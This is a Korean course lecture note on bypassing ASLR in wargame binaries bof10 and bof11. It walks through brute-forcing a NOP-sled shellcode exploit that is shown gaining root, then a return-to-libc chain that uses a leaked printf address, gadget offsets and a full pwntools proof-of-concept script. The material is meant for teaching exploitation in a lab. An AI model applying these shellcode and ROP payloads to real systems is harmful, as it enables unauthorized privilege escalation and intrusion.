Day9 Exploit 4
Contents
익스플로잇(4)✔
ASLR✔
- ASLR : Address space layout randomization 의 약어로써 프로그램이 실행될 때 마다 주소값을 랜덤하게 바꿔서 익스플로잇을 어렵게 만드는 보안 기법.
ASLR 확인✔
cat /proc/sys/kernel/randomize_va_space
명령어를 통해서 ASLR 상태를 확인할 수 있다. ASLR 상태는 다음 3 가지로 정의된다.
-
0
일 때, ASLR 이 비활성화 상태이다.echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
-
1
일 때, ASLR 이 부분적으로 활성화된 상태이다. (스택과 라이브러리)echo 1 | sudo tee /proc/sys/kernel/randomize_va_space
-
2
일 때, ASLR 이 완전 활성화 상태이다. (스택과 라이브러리와 힙)echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
이제 위 명령어를 통하여 ASLR 이 비활성화되어 있다면 ASLR 을 2
단계로 만들어 완전 활성화 시킵시다.
ASLR 실험✔
-
다음과 같은 매우 간단한 C 프로그램으로 ASLR 상태에 따라 스택에 저장된 변수의 주소가 어떻게 바뀌는지 확인할 수 있다.
#include <stdio.h> int main(void) { int stack = 12; printf("stack value address : %p\n", &stack); return 0; }
-
ASLR 활성화 시 출력
$ ./a.out stack value address : 0x7ffc61e8da54 $ ./a.out stack value address : 0x7fff34c50614 $ ./a.out stack value address : 0x7ffdf0a9baa4
-
ASLR 비활성화 시 출력
$ ./a.out stack value address : 0x7ffc61e8da54 $ ./a.out stack value address : 0x7ffc61e8da54 $ ./a.out stack value address : 0x7ffc61e8da54
ASLR 우회✔
지금까지 bof1
부터 bof9
까지 풀어봤는데 모두 다 ASLR 이 비활성화된 환경이었다. 이제부터는 ASLR 이 활성화된 시스템에서 BOF
취약점으로 익스플로잇을 시도해보자.
bof10 bof11 풀어보기✔
-
bof10
는ASLR
이 걸린 상황에서의bof8
과 같은 문제고bof11
은ASLR
이 걸린 상황에서늬bof9
문제와 같다. -
bof10
는bof8
처럼 스택에 실행권한이 있어서(NX 비트가 걸려있지 않음) 환경변수에 쉘코드를 삽입하여 익스플로잇을 시도할 수 있다. 하지만bof11
는bof9
처럼 스택에 실행권한이 제거되서RTL
기법을 시도해야 한다.
bof10 설명✔
-
bof10
을 실행시키는 환경은 NX 비트가 스택에 활성화 되어있지 않은 대신 ASLR 이 활성화 되어있다. 그리고32
비트 용 프로그램(x86
) 으로 컴파일 되어 있어서 주소값으로4
바이트를 사용한다. -
buf
의 사이즈가8
밖에 되지 않기 때문에 일단 쉘코드를 환경변수에 삽입해야 한다.export SHELLCODE=`python -c "print '\x90'*10 + '\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81'"`
-
그런데 ASLR 이 활성화되어 있기 때문에
SHELLCODE
환경변수의 주소값이 계속 변한다.$ ./bof10 chansol Hello chansol[0xffa8b5e8]! (env:SHELLCODE -> 0xffa8c834) $ ./bof10 chansol Hello chansol[0xff7fc9c8]! (env:SHELLCODE -> 0xff7fe834) $ ./bof10 chansol Hello chansol[0xffa28a98]! (env:SHELLCODE -> 0xffa29834)
-
그래서 쉘 코드를
SHELLCODE
환경변수에 저장해놓더라도 쉘 코드로 점프하기가 쉽지 않다. 지금 이 시점에서NOP
코드를10
바이트밖에 넣지 않았기 때문에 점프되면 쉘 코드를 실행시킬 수 있는 주소의 범위가NOP
코드10
바이트와 쉘 코드가 정확하게 시작되는 주소값을 합해서11
바이트이다. -
예를 들어서
SHELLCODE
환경변수가0xff89d834
(32
비트용 프로그램이라4
바이트 주소 사용) 라는 주소값에 저장되었다고 하면0xff89d834
부터0xff89d83e
까지NOP
코드가 저장되어 있고0xff89d83f
부터 쉘코드가 시작된다. -
SHELLCODE
환경변수가0x00000000
부터0xffffffff
까지 위치할 수 있다고 생각한다면, 쉘코드가 실행될 확률은(11 / 0xffffffff) * 100
이라고 할 수 있다. 이 값은 0.000000256% 정도의 확률이다.
brute-force 로 ASLR 우회✔
-
아니, 그러면
NOP
를 많이 넣으면 넣을수록 이 쉘코드가 실행될 확률이 높아지는 게 아닐까.-
NOP
코드 1000 바이트 삽입 시 쉘코드가 실행될 확률(1001 / 0xffffffff) * 100 = 0.0000233%
-
NOP
코드 100,000 바이트 삽입 시 쉘코드가 실행될 확률(100001 / 0xffffffff) * 100 = 0.0233%
-
-
그런데
./bof10
을 계속 실행하면서SHELLCODE
의 주소값을 관찰해보면 주소값이0xff8-----
부터0xfff-----
까지의 범위를 갖는다고 유추할 수 있다. 환경변수는 커널 코드 밑에 위치하고 환경변수 밑에는 바로 스택이 쌓이기 때문에0x00000000
부터0xffffffff
까지의 주소 영역을 가질 수는 없어 보인다. 그렇기 때문에SHELLCODE
변수가 위치할 영역을 좀 더 작게 유추해보고 확률을 다시 계산해보자.-
0xff800000
부터0xffffffff
의 영역의 길이0xffffffff - 0xff800000 = 0x7fffff
-
NOP
코드 1000 바이트 삽입 시 쉘코드가 실행될 확률(1001 / 0x7fffff) * 100 = 0.0119%
-
NOP
코드 100,000 바이트 삽입 시 쉘코드가 실행될 확률(100001 / 0x7fffff) * 100 = 1.192%
-
-
만약
NOP
코드를 10만 바이트, 즉 100 KB 를 삽입하였을 때 쉘코드가 실행될 확률은 약 1.2 % 까지 높아진다.
NOP 코드 최대 길이✔
-
그러면 환경변수에
NOP
코드를 어느정도까지 삽입할 수 있을까? Ubuntu 16.04 x64 환경에서 실험했을 때 **13만 바이트**까지 삽입할 수 있었다. 그러면 **13만 바이트**의NOP
코드를 삽입할 경우 쉘코드가 실행될 확률은 다음과 같다.-
NOP
코드 10,0000 바이트 삽입 시 쉘코드가 실행될 확률(130001 / 0x7fffff) * 100 = 1.549%
-
-
1.5% 정도면 충분히 유의미한 확률이기 때문에 브루트 포스(brute-force) 공격이 가능하다.
brute-force exploit✔
-
먼저
SHELLCODE
환경변수를 다음과 같이 생성하자.export SHELLCODE=`python -c "print '\x90'*130000 + '\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81'"`
-
그리고
buf
와return address
까지의 거리를 계산하자. 결국20
바이트라는 것을 알게 되는데, 이20
바이트 이후에SHELLCODE
환경변수의 주소값을0xff800000
과0xffffffff
사이의 적당한 값으로 덮어쓰고while
문을 사용해서 다음과 같이 계속 때려맞춰보자.while : ; do ; ./bof10 `python -c "print 'a'*20 + '\x36\x4c\xc6\xff'"` ; done
-
그러면 얼마간의 시간이 지난 후에 다음과 같이 1.5% 의 확률로 루트 쉘을 탈취할 수 있다.
Hello aaaaaaaaaaaaaaaaaaaa6L�[0xffa601e8]! (env:SHELLCODE -> 0xffa60c37) Segmentation fault (core dumped) Hello aaaaaaaaaaaaaaaaaaaa6L�[0xff9af138]! (env:SHELLCODE -> 0xff9b0c37) Segmentation fault (core dumped) Hello aaaaaaaaaaaaaaaaaaaa6L�[0xffc633c8]! (env:SHELLCODE -> 0xffc64c37) # id uid=0(root) gid=1011(bof10) groups=1011(bof10) # cat bof11.pw
bof11 설명 (Memory leak)✔
-
bof10
과는 달리bof11
에서는bof9
처럼 스택에 실행권한이 존재하지 않는다. 그래서NOP
코드를 13만 바이트**나 넣어서 브루트 포싱하는 방법은 더 이상 통하지 않는다. 스택에 실행권한도 없고 **ASLR 도 활성화되어 있어서 RTL 기법도 어려울 것 같다. 하지만 메모리의 데이터를 유출시킬 수 있다는 조건이 있을 때 ASLR 이 활성화되어있어도 RTL 을 적용할 수 있다.- 실제로 블루투스 취약점 blueborne 의 힙 오버플로우 취약점 CVE-2017-0781 은 쉘을 탈취할 수 있는 RCE(Remote Command Execution) 취약점인데, 이 취약점을 익스플로잇 하기 위해서 ASLR 을 우회하기 위하여 CVE-2017-0785 취약점을 사용하여 메모리 데이터를 유출시켰다.
-
그래서
bof11
은 메모리 유출 취약점이 존재해서printf
함수의 주소값을 유출 시킨다는 설정이다. 다음과 같이bof11
은printf
함수의 주소값을 계속 유출 시키고 있고 ASLR 때문에 그 주소값이 계속 달라진다.$ ./bof11 printf() address : 0x7f26ea000800 abc Hello abc! $ ./bof11 printf() address : 0x7f753d893800 abc Hello abc! $ ./bof11 printf() address : 0x7fb4c41f8800 abc Hello abc!
-
bof9
처럼bof11
에서는system
주소,/bin/sh
주소,pop rdi ; ret
주소가 필요하다. ASLR 때문에 각각의 주소값을 정확하게 알 수는 없으나printf
함수의 주소값이 항상 유출된다는 조건이 있기 때문에 각각의 주소값과printf
주소값과의 상대적 거리만 계산하면 ASLR 을 우회할 수 있다. 왜냐하면libc
라이브러리 내부 함수끼리의 상대적 거리는 항상 똑같기 때문이다.
printf 와 system 함수와의 거리✔
-
bof11 이 printf 의 주소값을 계속 유출 시키는데 printf 함수와 system 함수의 상대적 거리는 항상 동일하다.
(printf 의 주소값) + X = (system 함수의 주소값)
-
그렇기 때문에 위의 방정식에서
X
를 알 수 있다면 유출된 printf 함수의 주소값에X
를 더하면 ASLR 이 주소값을 변경시키든지 말든지 항상system
함수의 주소값을 구할 수 있다.X
는 직관적으로 다음과 같이 구할 수 있을 것이다.X = (system 함수의 주소값) - (printf 의 주소값)
-
그리고
gdb
를 통해서X
가 -66672 라는 것을 알 수 있다.pwndbg> p system - printf $1 = -66672
printf 와 /bin/sh 와의 거리✔
-
다음의 방정식에서
Y
의 값을 구할 수 있다면 유출된 print함수의 주소값에
Y를 더하면
/bin/sh구할 수 있다. 마찬가지로
(printf 의 주소값)을 이항시켜서
Y` 를 구할 수 있다.-
(printf 의 주소값) + Y = (/bin/sh 의 주소값)
-
Y = (/bin/sh 의 주소값) - (printf 의 주소값)
-
gdb
를 통한 간단한 연산으로 Y
가 1275223
라는 것을 알 수 있다.
```console
pwndbg> search /bin/sh
libc-2.23.so 0x7f836ff19d57 0x68732f6e69622f /* '/bin/sh' */
pwndbg> p printf
$9 = {<text variable8, no debug info>} 0x7f836fde2800 <__printf>
pwndbg> p/d 0x7f836ff19d57 - 0x7f836fde2800
$10 = 1275223
```
printf 와 "pop rdi ; ret" 와의 거리✔
-
먼저
pop rdi ; ret
의 가젯이libc
의 어떤 오프셋에 있는지 계산한다. 그러면 그 오프셋과libc
의 시작 주소값을 더한 후printf
함수와의 거리를 구하면printf
함수로부터pop rdi ; ret
가젯이 어느정도 떨어져있는지 확실하게 알 수 있게 된다. -
마찬가지로 printf 에
Z
를 더하면pop rdi ; ret
주소값이 계산되는Z
를 구해보자.(printf 의 주소값) + Z = ("pop rdi ; ret" 가젯의 주소값)
-
그러면
Z
는 다음과 같다.Z = ("pop rdi ; ret" 가젯의 주소값) - (printf 의 주소값)
"pop rdi ; ret" 의 주소값✔
-
pop rdi ; ret
의 주소값은 이렇게 구할 수 있다.("pop rdi ; ret" 가젯의 주소값) = (libc 의 베이스 주소값) + ("pop rdi ; ret" 의 오프셋)
-
먼저 다음과 같이 gdb 로 libc 의 시작 주소가 0x7f836fd8d000 라는 것을 확인했다.
pwndbg> vmmap libc LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7f836fd8d000 0x7f836ff4d000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
-
그리고 다음과 같이
ROPgadget
으로 오프셋을 찾을 수 있다.$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi ; ret" 0x0000000000021102 : pop rdi ; ret
-
결론적으로
pop rdi ; ret
의 주소값을 구할 수 있다.("pop rdi ; ret" 가젯의 주소값) = (libc 의 베이스 주소값) + ("pop rdi ; ret" 의 오프셋) = 0x7f836fd8d000 + 0x0000000000021102 = 0x7f836fdae102
-
그러면 최종적으로
Z
를 계산해보자.pwndbg> p printf $14 = {<text variable, no debug info>} 0x7f836fde2800 <__printf> pwndbg> p/d 0x7f836fdae102 - 0x7f836fde2800 $15 = -214782
-
이렇게
Z
가 -214782 라는 것을 알 수 있다.
buf 에서 return address 까지의 거리✔
-
vuln 함수가 시작되었을 때 rsp 의 주소값을 확인하자. 이 주소값에 vuln 함수의 리턴 어드레스가 저장되어 있다.
pwndbg> i r rsp rsp 0x7ffe25be74c8 0x7ffe25be74c8
-
그리고 gets 함수가 받는 인자를 확인해서 buf 의 주소값을 확인하고 리턴 주소값까지의 거리를 계산하자.
pwndbg> p/d 0x7ffe25be74c8 - 0x7ffe25be74b0 $18 = 24
ASLR 우회 페이로드✔
- bof11 은 printf 함수의 주소값이 유출된다는 설정을 가지고 있기 때문에 유출된 printf 함수의 주소값을
A
라고 하자. 그러면 쉘을 실행시키기 위한 페이로드는 다음과 같이 정해진다.
쓰레기 값 | "pop rdi ; ret" 주소값 | "/bin/sh" 주소값 | system 주소값 |
---|---|---|---|
24 바이트 | 8 바이트 | 8 바이트 | 8 바이트 |
POC 코드✔
참고/출처 : https://www.lazenca.net/display/TEC/02.RTL%28Return+to+Libc%29+-+x64
printf 주소값을 받은 후 system 함수와 /bin/sh 문자열의 주소값, "pop rdi ; ret" 과의 거리를 계산해서 주소값을 도출해야 하기 때문에 일반적인 쉘 상에서는 익스플로잇 하기가 어렵고, pwntool
이라는 파이썬 패키지를 사용해보자. pwn 이라는 용어는 소유하다는 뜻의 own 에서 파생된 은어로써 권한이 없는 것을 소유해내다 라는 의미이다.
pwntool✔
-
pwntool : 익스플로잇 코드 개발 전용 라이브러리로써 POC 코드, 익스플로잇 코드를 개발할 때 필수적으로 사용되는 라이브러리이다.
-
**POC 코드**에 필요한
pwntool
의 함수들-
process(argv)
: 익스플로잇 대상이 되는 실행파일을 실행하고 프로세스를 다룰 수 있도록Processes
인스턴스를 반환한다. -
recvuntil(delims)
:delims
이 나올 때까지 데이터를 받아서 반환한다. -
p64(number)
:number
를64
비트 형식으로 패킹(packing
)한다. -
send(data)
:data
를 프로세스에 입력한다.
-
-
-
이 함수들을 사용해서 익스플로잇을 시도해보자.
recvuntil
함수로 'printf() address : ' 라는 문자열까지 데이터를 받은 후 '\n' 까지 데이터를 받으면 정확하게printf
함수의 주소값을 반환 받을 수 있다.-
system 함수 주소값 = printf 주소값 + X = A + (-66672)
-
"/bin/sh" 주소값 = printf 주소값 + Y = A + 1275223
-
"pop rdi ; ret" 주소값 = printf 주소값 + Z = A + (-214782)
-
-
그러면 그 주소값을 활용하여 페이로드를 제작한 후
send
함수로 페이로드를 보내서 익스플로잇을 시도한다. 쉘이 실행될 것이 예상되는 시점이기 때문에interactive
함수로 프로세스에 입력 스트림과 출력 스트림을 연다.from pwn import * p = process('./bof11') p.recvuntil('printf() address : ') printf_addr = p.recvuntil('\n') printf_addr = int(printf_addr, 16) sys_addr = printf_addr + (-66672) binsh = printf_addr + (1275223) poprdi = printf_addr + (-214782) distance_to_returnAddr = 24 exploit = "A" * distance_to_returnAddr exploit += p64(poprdi) exploit += p64(binsh) exploit += p64(sys_addr) p.send(exploit) p.interactive()
과제✔
HW.md 파일에 따라 과제를 하시면 됩니다.